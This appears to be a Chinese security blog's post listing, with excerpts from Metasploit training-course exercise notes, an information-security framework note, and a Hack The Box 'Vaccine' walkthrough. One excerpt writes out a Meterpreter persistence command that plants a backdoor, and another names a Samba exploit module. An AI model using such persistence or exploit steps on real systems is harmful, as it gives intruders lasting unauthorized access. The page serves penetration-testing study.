2024年03月29日 0 阅读 学习笔记 Metasploit魔鬼训练营第三章实践作业 第三章基本上就是工具的使用,对我个人没有什么太大的意义信息收集方面要看具体的项目是什么,针对不同的项目做具体的信息收集任务。其中的msf联动nessus和nmap感觉没什么必要,主要依赖于met...
2024年03月29日 0 阅读 渗透测试 Metasploit魔鬼训练营第二章实践作业 渗透测试外围打点对我没有什么价值,直接无脑梭哈后渗透有些参考当植入meterpreter后需要植入后门run persistence -X -i 5 -p 443 -r 127.0.0.1命令语...
2024年03月29日 7 阅读 学习笔记 Metasploit魔鬼训练营第一章实践作业 1. 关于Samba服务的usermap_script安全漏洞相关信息查看usermap_script模块的信息msf6 > info exploit/multi/samba/userma...
2024年02月07日 2.7k 阅读 学习笔记 一、 知识子域:信息安全保障基础及框架 威胁情报与态势感知威胁情报为管理人员提供行动和制定决策的依据建立在大量的数据搜集和处理的基础上,通过对搜集数据的分析和评估,从而形成相应的结论威胁情报成为信息安全保障中的关键性能力威胁情报的作用...
2024年02月05日 2.3k 阅读 渗透测试 HTB-Vaccine题解 Task 1Q:Besides SSH and HTTP, what other service is hosted on this box? nmap直接扫描┌──(root💀kali)-[...